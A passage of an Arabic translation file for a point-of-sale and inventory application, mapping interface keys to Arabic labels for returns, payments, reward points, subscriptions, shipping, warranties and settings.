'إرسال البريد الإلكتروني والرسائل القصيرة على حد سواء', 'to' => 'إلى', 'mobile_number' => 'رقم الهاتف المحمول', 'send' => 'إرسال', 'notification_sent_successfully' => 'تم إرسال الإشعار بنجاح', 'payment_received_notification' => 'إرسال إشعار استلام الدفع', 'send_payment_reminder' => 'إرسال تذكير الدفع', 'new_order_notification' => 'إخطار أمر جديد', 'item_received_notification' => 'العناصر المستلمة الإخطار', 'item_pending_notification' => 'العناصر المعلقة الإخطار', 'payment_paid_notification' => 'اخطار بالمدفوعات', 'mail_host' => 'مضيف', 'mail_port' => 'ميناء', 'mail_username' => 'اسم المستخدم', 'mail_password' => 'كلمه السر', 'mail_encryption' => 'التشفير', 'mail_from_address' => 'من العنوان', 'mail_from_name' => 'من الاسم', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'إعدادات البريد الإلكتروني', 'sms_settings' => 'إعدادات الرسائل القصيرة', 'send_to_param_name' => 'إرسال إلى اسم المعلمة', 'msg_param_name' => 'اسم معلمة الرسالة', 'sms_settings_param_key' => 'المعلمة: مفتاح الرقم', 'sms_settings_param_val' => 'المعلمة: قيمة العدد', 'sending' => 'إرسال', 'request_method' => 'طريقة الطلب', 'purchase_return' => 'مرتجع مشتريات', 'return_quantity' => 'كمية المرتجع', 'return_subtotal' => 'الإجمالي الفرعي المرتجع', 'quantity_left' => 'الكمية المتبقية', 'return_total' => 'المبلغ المرتجع للعميل', 'total_return_tax' => 'إجمالي ضريبة المرتجع', 'purchase_return_added_success' => 'تمت إضافة مرتجع مشتريات بنجاح', 'list_purchase_return' => 'قائمة مرتجع المشتريات', 'all_purchase_returns' => 'جميع مرتجع المشتريات', 'parent_purchase' => 'المشتريات الاصل', 'purchase_return_details' => 'تفاصيل مرتجع المشتريات', 'return_date' => 'تاريخ المرتجع', 'parent_sale' => 'بيانات الفاتورة', 'sell_quantity' => 'كمية المبيعات', 'total_return_discount' => 'اجمالى خصم المرتجع', 'sell_return_details' => 'تفاصيل مرتجع المبيعات', 'sell_details' => 'تفاصيل البيع', 'return_discount' => 'خصم المرتجع', 'total_unit_transfered' => 'مجموع الوحدات المحولة', 'total_unit_adjusted' => 'مجموع الوحدات المهلكة', 'return_exist' => 'مرتجع موجود بالفعل, تحرير المرتجع الموجود.', 'synced_from_woocommerce' => 'متزامن مع الموقع الالكترونى', 'available_stock_expired' => 'المخزون منتهى الصلاحية.', 'sell_payments' => 'إذن لإضافة / تحرير / حذف المدفوعات في قائمة بيع قائمة / قائمة نقاط البيع.', 'purchase_payments' => 'إذن لإضافة / تحرير / حذف المدفوعات في قائمة المشتريات.', 'sell.payments' => 'إضافة / تعديل / حذف المدفوعات', 'purchase.payments' => 'إضافة / تعديل / حذف المدفوعات', 'view_payment' => 'عرض المدفوعات', 'card_number' => 'رقم البطاقة', 'transaction_number' => 'رقم التحويلة', 'card_holder_name' => 'إسم صاحب البطاقة', 'card_transaction_number' => 'رقم معاملة البطاقة', 'cheque_number' => 'رقم الشيك', 'commsn_percent_help' => 'تستخدم فقط إذا كان إعداد نوع عامل مفوض المبيعات هو: تم تسجيل دخول المستخدم أو تحديد من قائمة المستخدمين', 'max_amount_to_be_paid_is' => 'أقصى مبلغ يجب دفعه هو: المبلغ', 'adjusted_for' => 'تعديل ل', 'some_qty_returned' => 'يتم إرجاع بعض الكميات من عملية الشراء هذه', 'total_purchase_return' => 'اجمالى مرتجع المشتريات', 'total_purchase_return_paid' => 'اجمالى مرتجع المشتريات المدفوع', 'total_purchase_return_inc_tax' => 'اجمالى مرتجع المشتريات المدفوع شامل الضريبة', 'purchase_sell_report_formula' => 'بشكل عام (بيع - مرتجع مبيعات - شراء - مرتجع مشتريات)', 'purchase_return_due' => 'مستحق مرتجع المشتريات', 'total_purchase_return_due' => 'اجمالى مستحق مرتجع المشتريات', 'receive_purchase_return_due' => 'استلام مستحق مرتجع المشتريات', 'some_qty_returned_from_sell' => 'الكمية المرتجعة من الفاتورة', 'sell_due' => 'بيع مستحق', 'sell_return_due' => 'مرتجعات البيع المستحقه', 'total_sell_return_due' => 'اجمالى مرتجع المبيعات المستحق', 'pay_sell_return_due' => 'دفع مرتجع مبيعات مستحق', 'total_sell_return' => 'اجمالى مرتجع المبيعات', 'total_sell_return_paid' => 'اجمالى مرتجع المبيعات مدفوع', 'total_sell_return_inc_tax' => 'اجمالى مرتجع المبيعات مدفوع شامل الضريبة', 'tooltip_columnize_taxes_heading' => 'أدخل اسم الضريبة للعناوين , يجب أن يكون العنوان موجودًا في اسم الضريبة. على سبيل المثال , يمكن أن تكون العناوين: CGST و SGST و IGST & CESS. للأسماء الضريبية CGST@8٪ أو CGST@10٪ ؛ SGST@10٪ أو SGST@8٪ إلخ ', 'sales_payment_dues' => 'مستحقات مدفوعات المبيعات', 'purchase_payment_dues' => 'مستحقات مدفوعات المشتريات', 'tooltip_sales_payment_dues' => "في انتظار مدفوعات المبيعات. <br/> <small class='text-muted'> استنادًا إلى مدة دفع الفواتير. <br/> عرض الدفعات المستلمة في غضون 7 أيام أو أقل. </small>", 'edit_product_price_from_sale_screen' => 'تعديل سعر المنتج من شاشة البيع', 'edit_product_discount_from_sale_screen' => 'تعديل خصم المنتج من شاشة البيع', 'autosend_email' => 'إرسال البريد الإلكتروني التلقائي', 'autosend_sms' => 'إرسال الرسائل القصيرة تلقائيًا', 'enable_selected_contacts' => 'تفعيل جهات الاتصال المحددة', 'tooltip_enable_selected_contacts' => 'تفعيل الوصول إلى جهات الاتصال المحددة في مربع بحث العميل / الشراء / البيع / الشراء', 'selected_contacts' => 'حدد جهات الاتصال', 'view_role' => 'عرض الصلاحية', 'delete_role' => 'حذف الصلاحية', 'mail_driver' => 'برنامج تشغيل البريد', 'disable_suspend_sale' => 'تعطيل تعليق البيع', 'suspend' => 'تعليق', 'suspend_note' => 'ملاحظة التعليق', 'suspend_sale' => 'تعليق بيع', 'view_suspended_sales' => 'عرض المبيعات المعلقه', 'suspended_sales' => 'مبيعات معلقة', 'tooltip_suspend' => 'إيقاف المبيعات (إيقاف مؤقت)', 'business_telephone' => 'رقم تليفون النشاط', 'accept_terms_and_conditions' => 'قبول الشروط والأحكام', 'terms_conditions' => 'الشروط والاحكام', 'product_description' => 'وصف المنتج', 'click_here' => 'انقر هنا', 'for_more_info' => 'لمزيد من المعلومات', 'username_help' => 'اترك الحقل فارغًا لإنشاء اسم المستخدم تلقائيًا', 'status_for_user' => 'هل نشط؟', 'tooltip_enable_user_active' => 'التحقق / إلغاء التحديد لجعل أحد المستخدمين نشطًا / غير نشط.', 'user_inactive' => 'عذرًا ، الحساب غير نشط', 'calculator' => 'آلة حاسبة', 'fields_for_customer_details' => 'الحقول الخاصة بتفاصيل العميل', 'show_previous_bal_due' => 'إظهار إجمالي الرصيد المستحق (جميع المبيعات)', 'previous_bal_due_help' => 'حدد هذا الحقل لإظهار مجموع الرصيد المستحق لجميع مبيعات العميل إن وجد', 'all_sales' => 'كل المبيعات', 'current_sale' => 'المبيعات الحالية', 'view_invoice_url' => 'عرض رابط الفاتورة', 'copy' => 'نسخ', 'extra_tags' => 'الكلمات اضافية', 'date_time_format' => 'تنسيق الوقت والتاريخ', 'date_time_format_help' => "أدخل تنسيق التاريخ والوقت في <a target='_blank' href='http://php.net/manual/en/function.date.php'>تنسيق PHP التاريخ والوقت</a>. في حالة تطبيق تنسيق تاريخ وقت العمل الفارغ", 'all' => 'الكل', 'detailed' => 'مفصلة', 'grouped' => 'مُجمَّع (حسب التاريخ)', 'disable_recurring_invoice' => 'تعطيل الفاتورة المتكررة', 'is_recurring' => 'متكرر', 'recurring_invoice_help' => 'إذا تم إنشاء هذه الفاتورة تلقائيًا في فترات منتظمة. <br> يمكنك تعطيل هذه الميزة في <code> إعدادات> إعدادات الأعمال> Modules </code>', 'recurring_invoice' => 'الفاتورة المتكررة', 'years' => 'سنوات', 'no_of_repetitions' => 'عدد التكرار', 'recur_repetition_help' => 'إذا تم إنشاء فاتورة فارغة مرات لا حصر لها', 'recurring_invoice_message' => 'الفاتورة الجديدة التي تم إنشاؤها للاشتراك رقم: <i>:subscription_no</i> , رقم الفاتورة: <i>:invoice_no</i>', 'notifcation_count_msg' => 'count: عدد الإشعارات', 'no_notifications_found' => 'لم يتم العثور على إشعارات', 'edit_multi_unit_help_text' => 'سيؤدي تعديل هذه القيمة إلى تغيير أسهم الشراء والمبيعات وفقًا لذلك', 'sale_price_is_minimum_sale_price' => 'سعر البيع هو سعر البيع الأدنى', 'minimum_sale_price_help' => 'إذا تم تمكين ذلك , فسيكون سعر البيع الافتراضي على شاشة البيع أو البيع هو سعر البيع الأدنى للمنتج. لا يمكنك تعيين سعر أقل من سعر البيع الافتراضي.', 'minimum_selling_price_error_msg' => 'الحد الأدنى لسعر البيع هو :price', 'lot_numbers_are_used_in_sale' => 'لا يمكن حذفه , تم بيع بعض القطع من عملية الشراء هذه', 'created_at' => 'أنشئت في', 'download' => 'تحميل', 'previous_file_will_be_replaced' => 'سيتم استبدال الملف الذي تم تحميله سابقًا', 'access_accounts' => 'تمكين الحسابات', 'payment_accounts' => 'الحسابات', 'total_shipping_charges' => 'مجموع رسوم الشحن', 'recurring_invoice_error_message' => 'غير قادر على إنشاء فاتورة للاشتراك رقم: <i>:subscription_no</i>. المخزون المطلوب غير متوفر للمنتج <i>:product_name</i>', 'load_more' => 'تحميل المزيد', 'cash_flow' => 'التدفق النقدي', 'subscribe' => 'اشتراك', 'subscription_interval' => 'فترة الاشتراك', 'enable_subscription' => 'تمكين الاشتراك', 'subscription_no' => 'رقم الاشتراك', 'start_subscription' => 'بدء الاشتراك', 'stop_subscription' => 'إيقاف الاشتراك', 'subscriptions' => 'الاشتراكات', 'generated_invoices' => 'الفواتير المولده', 'last_generated' => 'تم إنشاؤه مؤخرًا', 'upcoming_invoice' => 'فاتورة قادمة', 'total_sales_return' => 'اجمالى مرتجع المبيعات', 'subscription_invoice' => 'فاتورة الاشتراك', 'subscribed_invoice' => 'فاتورة المشترك', 'view_document' => 'عرض المستند', 'invoice_url_help' => 'رابط لعرض الفاتورة بدون تسجيل الدخول.', 'unit_cannot_be_deleted' => 'توجد منتجات مرتبطة بهذه الوحدة, لايمكن حذفها', 'expiry_date_in_business_date_format' => 'تاريخ انتهاء صلاحية المخزون في <b> تنسيق تاريخ النشاط التجاري </ b>', 'product_stock_details' => 'تفاصيل مخزون المنتج', 'search' => 'بحث', 'total_sold' => 'اجمالى المباع', 'total_stock_available' => 'إجمالي المخزون المتاح', 'total_stock_transfered_to_the_location' => 'إجمالي المخزون الذي تم نقله إلى الفرع', 'total_stock_transfered_from_the_location' => 'إجمالي المخزون الذي تم نقله من الفرع', 'total_stock_calculated' => 'إجمالي المخزون المحتسب', 'adjust_stock_mismatch' => 'ضبط عدم تطابق المخزون', 'opening_balance_payments' => 'الرصيد الافتتاحى للمدفوعات', 'enable_service_staff_in_product_line' => 'تمكين موظفي الخدمة في خط الإنتاج', 'inline_service_staff_tooltip' => 'في حالة تمكينه , يمكن تعيين موظفي خدمة مختلفين لمنتجات مختلفة لطلب / بيع', 'line_orders' => 'طلبات الخط', 'total_tax' => 'مجموع الضريبة', 'total_discount' => 'إجمالي الخصم', 'net_price' => 'السعر الصافي', 'select_same_for_all_rows' => 'حدد القيمة نفسها لجميع المنتجات', 'edited' => 'معدل', 'by' => 'بواسطة', 'upload_documents' => 'تحميل المستندات', 'documents' => 'مستندات', 'click_to_print' => 'انقر لطباعة', 'deactivated_success' => 'تم إلغاء تنشيطه بنجاح', 'products_could_not_be_deleted' => 'تعذر حذف بعض المنتجات نظرًا لوجود معاملات لها.', 'price' => 'السعر', 'auto_backup_instruction' => 'لتمكين النسخ الاحتياطي التلقائي وتنظيف النسخ الاحتياطي يجب عليك إعداد مهمة cron بهذا الأمر', 'gross_profit' => 'اجمالي الربح', 'single' => 'فردى', 'variable' => 'متباين', 'total_purchase_price' => 'إجمالي سعر الشراء', 'total_sell_price' => 'إجمالي سعر البيع', 'packing_slip' => 'التعبئة', 'use_superadmin_email_settings' => 'استخدام تكوينات البريد الإلكتروني للنظام', 'profit_by_products' => 'الربح من المنتجات', 'profit_by_categories' => 'الربح حسب الفئات', 'profit_by_brands' => 'الربح من العلامات التجارية', 'profit_by_locations' => 'الربح حسب الفروع', 'profit_by_invoice' => 'الربح عن طريق الفاتورة', 'profit_by_date' => 'الربح حسب التاريخ', 'uncategorized' => 'غير مصنف', 'add_purchase_return' => 'اضافة مرتجع مشتريات', 'edit_purchase_return' => 'تعديل مرتجع مشتريات', 'purchase_return_updated_success' => 'تم تحديث مرتجع مشتريات بجاح', 'profit_by_customer' => 'الربح من قبل العملاء', 'profit_by_day' => 'الربح بعد يوم', 'sunday' => 'الأحد', 'monday' => 'الإثنين', 'tuesday' => 'الثلاثاء', 'wednesday' => 'الأربعاء', 'thursday' => 'الخميس', 'friday' => 'الجمعة', 'saturday' => 'السبت', 'show_product_image' => 'عرض صورة المنتج', 'view_user' => 'عرض المستخدم', 'allow_selected_contacts' => 'السماح بجهات اتصال محددة', 'allow_selected_contacts_tooltip' => 'السماح فقط بالوصول إلى جهات الاتصال المحددة في مربع البحث عن بيع / شراء العملاء / المورد', 'allowed_contacts' => 'جهات الاتصال المسموح بها', 'view_purchase_price' => 'عرض سعر الشراء', 'view_purchase_price_tooltip' => 'الإذن بعرض سعر الشراء في تفاصيل المنتج ونقل المخزون وتعديل المخزون', 'created' => 'انشئت', 'updated' => 'محدث', 'deleted' => 'تم الحذف', 'day' => 'يوم', 'is_service_staff_required' => 'هل مطلوب موظفي الخدمة', 'items_report' => 'تقرير العناصر', 'purchase_price' => 'سعر الشراء', 'sell_date' => 'تاريخ البيع', 'returned' => 'مرتجع', 'dob' => 'تاريخ الميلاد', 'married' => 'متزوج', 'unmarried' => 'اعزب', 'marital_status' => 'الحالة الاجتماعية', 'blood_group' => 'فصيلة الدم', 'divorced' => 'مطلق', 'contact_no' => 'رقم الاتصال', 'fb_link' => 'رابط الفيسبوك', 'twitter_link' => 'رابط تويتر', 'social_media' => 'وسائل التواصل الاجتماعي :number', 'permanent_address' => 'العنوان الدائم', 'current_address' => 'العنوان الحالي', 'guardian_name' => 'اسم الوصي', 'custom_field' => 'حقل مخصص :number', 'bank_details' => 'تفاصيل البنك', 'account_holder_name' => 'اسم صاحب الحساب', 'account_number' => 'رقم حساب', 'bank_name' => 'اسم البنك', 'bank_code' => 'الرمز التعريفي للبنك', 'bank_code_help' => 'رمز فريد لتعريف البنك في بلدك , على سبيل المثال: رمز IFSC', 'branch' => 'فرع', 'tax_payer_id' => 'دافع الضرائب معرف', 'tax_payer_id_help' => 'معرف الرقم الضريبي للموظف , على سبيل المثال , بطاقة PAN في الهند', 'more_info' => 'مزيد من المعلومات', 'id_proof_name' => 'اسم إثبات الهوية', 'id_proof_number' => 'رقم إثبات الهوية', 'view_own_sell_only' => 'عرض بيع الخاصة فقط', 'reward_point_settings' => 'اعدادات نقاط المكافأت', 'enable_rp' => 'تمكين نقاط المكفافأت', 'rp_name' => 'اسم عرض نقاط المكافأت', 'amount_for_unit_rp' => 'المبلغ المنفق لكل نقطة', 'min_order_total_for_rp' => 'الحد الأدنى للطلب الكلي لكسب المكافآت', 'max_rp_per_order' => 'الحد الأقصى للنقاط لكل طلب', 'earning_points_setting' => 'إعدادات كسب النقاط', 'redeem_points_setting' => 'استبدال إعدادات النقاط', 'redeem_amount_per_unit_rp' => 'استرداد المبلغ لكل وحدة نقطة', 'min_order_total_for_redeem' => 'الحد الأدنى للطلب الإجمالي لاستبدال النقاط', 'min_redeem_point' => 'الحد الأدنى لنقطة المكافاه', 'max_redeem_point' => 'الحد الأقصى لنقطة الاسترداد لكل طلب', 'rp_expiry_period' => 'فترة انتهاء نقطة المكافأة', 'redeemed_amount' => 'المبلغ المسترد', 'max_points_used' => 'الحد الأقصى :points يمكن استخدام النقاط', 'reward_points' => 'نقاط مكافأة', 'max_reward_point_available' => 'الحد الأقصى :name الاسم متاح', 'min_reward_points_used' => 'الحد الأدنى :name يمكن استخدام الاسم', 'redeemed' => 'مستردة', 'available' => 'متاح', 'earned' => 'حصل', 'total_reward_amount' => 'إجمالي مكافأة العميل', 'ledger' => 'حساب', 'type' => 'نوع', 'show_payments' => 'إظهار المدفوعات', 'variation_images' => 'صور التباين', 'file_deleted_successfully' => 'تم حذف الملف بنجاح', 'combo' => 'كومبو', 'not_for_selling' => 'ليس للبيع', 'tooltip_not_for_selling' => 'إذا تم تحديده , فلن يتم عرض المنتج في شاشة المبيعات لأغراض البيع.', 'show_reward_point' => 'إظهار نقطة المكافأة', 'enable_booking' => 'تمكين الحجوزات', 'bulk_edit' => 'تعديل بالجملة', 'bulk_edit_products' => 'تحرير المنتجات بالجملة', 'search_product_to_edit' => 'البحث عن منتج للتحرير', 'related_sub_units' => 'الوحدات الفرعية ذات الصلة', 'sub_units_tooltip' => 'استنادًا إلى الوحدة المحددة , ستُظهر الوحدات الفرعية لها. حدد الوحدة الفرعية المناسبة. اتركها فارغة إذا كانت جميع الوحدات الفرعية قابلة للتطبيق على المنتج.', 'enable_sub_units' => 'تمكين الوحدات الفرعية', 'added_on' => 'وأضاف في', 'quantity_mismatch_exception' => 'الخطأ: غير مسموح به: عدم التوافق بين الكمية المباعة والكمية المتاحة. المنتج: :product', 'roles_and_permissions' => 'الصلاحيات', 'admin_role_location_permission_help' => 'يمكن للمشرف الوصول إلى جميع الفروع', 'edit_product_price_from_pos_screen' => 'تحرير سعر المنتج من شاشة POS', 'edit_product_discount_from_pos_screen' => 'تحرير خصم المنتج من شاشة POS', 'download_template_file' => 'تنزيل ملف القالب', 'types_of_service' => 'أنواع الخدمة', 'add_type_of_service' => 'إضافة نوع الخدمة', 'packing_charge_type' => 'نوع رسوم التعبئة', 'packing_charge' => 'تهمة التعبئة', 'enable_custom_fields' => 'تمكين الحقول المخصصة', 'edit_type_of_service' => 'تحرير نوع الخدمة', 'types_of_service_help' => 'نوع الخدمة يعني خدمات مثل تناول الطعام والطرود والتوصيل للمنازل وتوصيل الطرف الثالث وما إلى ذلك', 'select_types_of_service' => 'حدد أنواع الخدمة', 'service_custom_field_1' => 'حقل مخصص 1', 'service_custom_field_2' => 'حقل مخصص 2', 'service_custom_field_3' => 'حقل مخصص 3', 'service_custom_field_4' => 'حقل مخصص 4', 'default_selling_price_group' => 'مجموعة أسعار البيع الافتراضية', 'location_price_group_help' => 'سيتم استخدام مجموعة الأسعار هذه كمجموعة أسعار افتراضية في هذا الموقع.', 'default_accounts' => 'الحساب الافتراضي', 'product_location_help' => 'المواقع التي يتوفر فيها المنتج.', 'available_in_locations' => 'متوفر في المواقع', 'enable' => 'ممكن', 'payment_options' => 'خيارات الدفع', 'pay_reference_no' => 'ادفع الرقم المرجعي', 'search_settings' => 'إعدادات البحث', 'custom_labels' => 'التسميات المخصصة', 'labels_for_custom_payments' => 'تسميات المدفوعات المخصصة', 'packed' => 'معباه', 'shipped' => 'شحنت', 'delivered' => 'تم التوصيل', 'shipping_address' => 'عنوان الشحن', 'shipping_status' => 'حالة الشحن', 'delivered_to' => 'سلمت لـ', 'edit_shipping' => 'تعديل الشحن', 'shipments' => 'الشحنات', 'access_shipping' => 'الوصول للشحن', 'uploaded_by' => 'تم الرفع بواسطة', 'account_types' => 'أنواع الحسابات', 'add_account_type' => 'إضافة نوع الحساب', 'parent_account_type' => 'نوع الحساب الرئيسي', 'edit_account_type' => 'تعديل نوع الحساب', 'account_type' => 'نوع الحساب', 'account_sub_type' => 'نوع الحساب الفرعي', 'enable_updating_product_price_tooltip' => 'إذا تم تمكين سعر شراء المنتج وسعر البيع بعد تحديث أو إضافة عملية شراء', 'default_datatable_page_entries' => 'عدد البيانات الافتراضية فى كل جدول', 'product_not_found_exception' => 'المنتج مع SKU :sku غير موجود في الصف :row', 'price_group_not_found_exception' => 'مجموعة الأسعار بالاسم :pg يتم العثور على الصفحة في الصف :row', 'price_group_non_numeric_exception' => 'سعر غير رقمي موجود في الصف :row', 'total_stock_price' => 'قيمة المخزون الحالية', 'test_email_configuration' => 'إرسال اختبار البريد الإلكتروني', 'email_tested_successfully' => 'تم التحقق من تكوينات البريد الإلكتروني بنجاح', 'test_number' => 'رقم الاختبار', 'test_sms_configuration' => 'إرسال اختبار SMS', 'test_number_is_required' => 'رقم الاختبار مطلوب', 'import_contact_type_ins' => 'الخيارات المتاحة: <strong> <br> 1 = عميل , <br> 2 = مورد <br> 3 = كلاهما </strong>', 'enable_pos_transaction_date' => 'تمكين تاريخ المعاملة على شاشة نقاط البيع', 'amount_for_unit_rp_tooltip' => '<strong> تعني المبلغ الذي أنفقه العميل للحصول على نقطة مكافأة واحدة. </strong> <br> <br> <strong> مثال: </strong> إذا قمت بتعيينها على 10 , ثم مقابل كل 10 جنيهات ينفقها العميل , سوف يحصل على نقطة مكافأة واحدة. إذا قام العميل بشراء 1000 جنية , فسيحصل على 100 نقطة مكافأة. ', 'max_rp_per_order_tooltip' => 'الحد الأقصى لنقاط المكافآت الذي يمكن للعميل كسبه في فاتورة واحدة. اتركه فارغًا إذا كنت لا تريد أي قيود من هذا القبيل.', 'min_order_total_for_rp_tooltip' => '<strong> الحد الأدنى للمبلغ الذي يجب أن ينفقه العميل للحصول على نقاط المكافأة. </strong> <br> <br> <strong> مثال: </strong> إذا قمت بتعيينه على 100 , فسيحصل العميل على نقاط المكافأة فقط إذا كان هناك إجمالي الفاتورة أكبر أو يساوي 100. إذا كان إجمالي الفاتورة 99 , فلن يحصلوا على أي نقاط مكافأة. <br> <br> يمكنك تعيينها كحد أدنى 1. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> يشير إلى مبلغ الاسترداد لكل نقطة. </strong> <br> <br> <strong> على سبيل المثال: </strong> إذا كانت النقطة الواحدة هي 1 جنية , فأدخل القيمة على أنها 1. إذا كانت نقطتان هي 1 جنية , أدخل القيمة كـ 0.50 ', 'min_order_total_for_redeem_tooltip' => 'الحد الأدنى لإجمالي الطلب الذي يمكن للعميل استبدال النقاط به. اتركه فارغًا إذا كنت لا تحتاج إلى هذا التقييد أو كنت بحاجة إلى تقديم شيء مجانًا.', 'min_redeem_point_tooltip' => 'الحد الأدنى للنقاط التي يمكن استخدامها في كل فاتورة. اتركها فارغة إذا كنت لا تحتاج إلى هذا القيد.', 'max_redeem_point_tooltip' => 'الحد الأقصى للنقاط التي يمكن استخدامها بترتيب واحد. اتركه فارغًا إذا كنت لا تحتاج إلى هذا التقييد.', 'rp_expiry_period_tooltip' => '<strong> فترة انتهاء الصلاحية للنقاط التي يكسبها العميل. </strong> <br> <br> يمكنك تعيينها في أشهر أو سنة. سيتم خصم النقاط منتهية الصلاحية من حساب العميل تلقائيًا بعد هذه الفترة.', 'configure_product_search' => 'اعدادت البحث عن المنتج', 'search_products_by' => 'البحث عن منتجات بواسطة', 'credit_sales' => 'مبيعات الائتمان', 'total_payment' => 'المبلغ الإجمالي', 'deactivate_location' => 'إلغاء تنشيط الفرع', 'activate_location' => 'تنشيط الفرع', 'business_location_activated_successfully' => 'تم تنشيط الفرع بنجاح', 'business_location_deactivated_successfully' => 'تم إلغاء تنشيط الفرع بنجاح', 'show_credit_sale_button' => 'إظهار زر بيع الائتمان', 'show_credit_sale_btn_help' => 'إذا تم عرض زر بيع الائتمان الممكّن بدلاً من زر البطاقة على شاشة نقاط البيع', 'credit_sale' => 'بيع الائتمان', 'tooltip_credit_sale' => 'السحب كبيع الائتمان', 'add_as_sub_txonomy' => 'أضف كتصنيف فرعي', 'select_parent_taxonomy' => 'حدد التصنيف الأصل', 'warranty' => 'ضمان', 'warranties' => 'الضمانات', 'all_warranties' => 'جميع الضمانات', 'add_warranty' => 'إضافة الضمان', 'duration' => 'المدة الزمنية', 'edit_warranty' => 'تعديل الضمان', 'enable_product_warranty' => 'تفعيل الضمان', 'warranty_ends_on' => 'الضمان ينتهي في', 'restaurant_module_settings' => 'إعدادات موديول المطعم', 'warranty_module_settings' => 'إعدادات موديول الضمان', 'show_warranty_name' => 'عرض اسم الضمان', 'show_warranty_exp_date' => 'عرض تاريخ انتهاء الضمان', 'show_warranty_description' => 'إظهار وصف الضمان', 'gender' => 'جنس', 'male' => 'ذكر', 'female' => 'أنثى', 'others' => 'آحرون', 'recent_transactions' => 'العمليات الاخيرة', 'add_row' => 'اضف سطر', 'add_widget_here' => 'إضافة أداة هنا', 'move_row' => 'نقل الصف', 'configure_dashboard' => 'تكوين لوحة المعلومات :name', 'change_return_label' => 'تغيير علامة المرتجع', 'change_return_help' => 'الباقى هو المبلغ المراد إعادته إلى العميل اذا تم دفع باكثر من المستحق.', 'profile_photo' => 'صورة الملف الشخصي', 'upload_image' => 'تحميل الصور', 'expense_tax' => 'ضريبة النفقات', 'expense_tax_tooltip' => 'إجمالي الضريبة المدفوعة مقابل نفقات العمل للفترة الزمنية المحددة', 'tax_overall' => 'الإجمالي (الإدخال - الإخراج - المصاريف)', 'overdue' => 'المتأخرات', 'partial-overdue' => 'تأخر جزئي', 'due_date_label' => 'تاريخ الاستحقاق', 'show_due_date' => 'عرض تاريخ الاستحقاق', 'contact_custom_field1' => 'حقل مخصص 1', 'contact_custom_field2' => 'حقل مخصص 2', 'contact_custom_field3' => 'حقل مخصص 3', 'contact_custom_field4' => 'حقل مخصص 4', 'added_by' => 'أضيفت بواسطة', 'authorized_signatory' => 'المفوض بالتوقيع', 'no_location_access_found' => 'لم يتم العثور على وصول إلى الفرع', 'location_custom_field1' => 'الحقل المخصص 1', 'location_custom_field2' => 'الحقل المخصص 2', 'location_custom_field3' => 'الحقل المخصص 3', 'location_custom_field4' => 'الحقل المخصص 4', 'user_custom_field1' => 'الحقل المخصص 1', 'user_custom_field2' => 'الحقل المخصص 2', 'user_custom_field3' => 'الحقل المخصص 3', 'user_custom_field4' => 'الحقل المخصص 4', 'logo_not_work_in_sms' => 'لن يعمل الشعار في الرسائل القصيرة', 'notification_email_tooltip' => 'سلسلة مفصولة بفواصل من رسائل البريد الإلكتروني للمستلم', 'heading' => 'عنوان', 'updated_at' => 'تم التحديث في', 'documents_and_notes' => 'المستندات والملاحظات', 'add_note' => 'اضف ملاحظة', 'edit_note' => 'تعديل ملاحظة', 'is_private' => 'خاص؟', 'private' => 'خاص', 'documents' => 'مستندات', 'note_will_be_visible_to_u_only' => 'ستكون الملاحظة والمستند مرئية لك وحدك', 'activities' => 'أنشطة', 'no_limit' => 'لا حدود', 'contains_media' => 'تحتوي هذه الملاحظة على وسائط', 'private_note' => 'هذه ملاحظة خاصة', 'amount_rounding_method' => 'طريقة تقريب المبلغ', 'round_to_nearest_whole_number' => 'تقريب إلى أقرب عدد صحيح', 'round_off' => 'تقريب الى', 'round_off_label' => 'تسمية تقريب الى', 'total_sell_round_off' => 'اجمالى السعر تقريبا', 'round_to_nearest_decimal' => 'التقريب إلى أقرب عدد عشري (:multiple مضاعف)', 'amount_rounding_method_help' => 'مثال: <br><b> التقريب إلى الأقرب العدد الصحيح: </b> 2.23 => 2 ، 2.50 => 3 ، 2.73 => 3 <br><b> تقريب إلى الأقرب عشري (مضاعف 0.05): </b> 2.11 => 2.10 ، 2.12 => 2.10 ، 2.13 => 2.15', 'types_of_service_module_settings' => 'أنواع إعدادات وحدة الخدمة', 'types_of_service_label' => 'أنواع ملصقات الخدمة', 'show_types_of_service' => 'إظهار أنواع الخدمة', 'show_tos_custom_fields' => 'إظهار أنواع الحقول المخصصة للخدمة', 'types_of_service' => 'أنواع الخدمة', 'packing_charge' => 'تهمة التعبئة', 'user_info' => 'معلومات المستخدم', 'enable_weighing_scale' => 'تمكين مقياس الوزن', 'weighing_scale_setting' => 'إعداد مقياس وزن الرمز الشريطي', 'weighing_scale_setting_help' => 'تكوين الباركود وفقًا لمقياس الوزن الخاص بك.', 'weighing_barcode_prefix' => 'اختصار', 'weighing_product_sku_length' => 'طول SKU المنتج', 'weighing_qty_integer_part_length' => 'الكمية الجزئية لطول الجزء', 'weighing_qty_fractional_part_length' => 'الكمية الجزئية لطول الجزء', 'weighing_scale' => 'جهاز قياس الوزن', 'weighing_scale_barcode' => 'مقياس وزن الرمز الشريطي', 'weighing_scale_barcode_help' => 'مسح الباركود من وزن البيع وإرسال', 'prefix_did_not_match' => 'البادئة لم تطابق', 'sku_not_match' => 'لم يتم العثور على منتج باستخدام SKU :sku', 'total_quantity_label' => 'تسمية الكمية الإجمالية', 'account_summary' => 'ملخص الحساب', 'ledger_table_heading' => 'عرض جميع الفواتير والمدفوعات بين :start_date و :end_date', 'beginning_balance' => 'توازن بداية', 'total_invoice' => 'إجمالي الفاتورة', 'balance_due' => 'الرصيد المستحق', 'send_ledger' => 'إرسال دفتر الأستاذ', 'notifications' => 'إشعارات', 'ledger_attacment_help' => 'سيتم إرفاق دفتر الأستاذ بتنسيق PDF مع هذا البريد الإلكتروني', 'upload_module' => 'وحدة التحميل', 'upload' => 'رفع', 'pls_upload_valid_zip_file' => 'الرجاء تحميل ملف مضغوط صالح.', 'import_sales' => 'استيراد المبيعات', 'preview_imported_sales' => 'معاينة المبيعات المستوردة', 'customer_phone_number' => 'رقم هاتف العميل', 'customer_email' => 'البريد الإلكتروني للعميل', 'item_tax' => 'ضريبة البند', 'item_discount' => 'خصم البند', 'item_description' => 'وصف السلعة', 'order_total' => 'الطلب الكلي', 'upload_and_review' => 'تحميل ومراجعة', 'group_sale_line_by' => 'خط البيع الجماعي حسب', 'import_sale_product_not_found' => 'المنتج بالاسم :product_name أو SKU :sku غير موجود في الصف :row', 'import_sale_tax_not_found' => 'الضريبة بالاسم :tax_name غير موجود في الصف :row', 'email_or_phone_required' => 'هاتف العميل أو البريد الإلكتروني مطلوب', 'product_name_or_sku_is_required' => 'اسم المنتج أو SKU 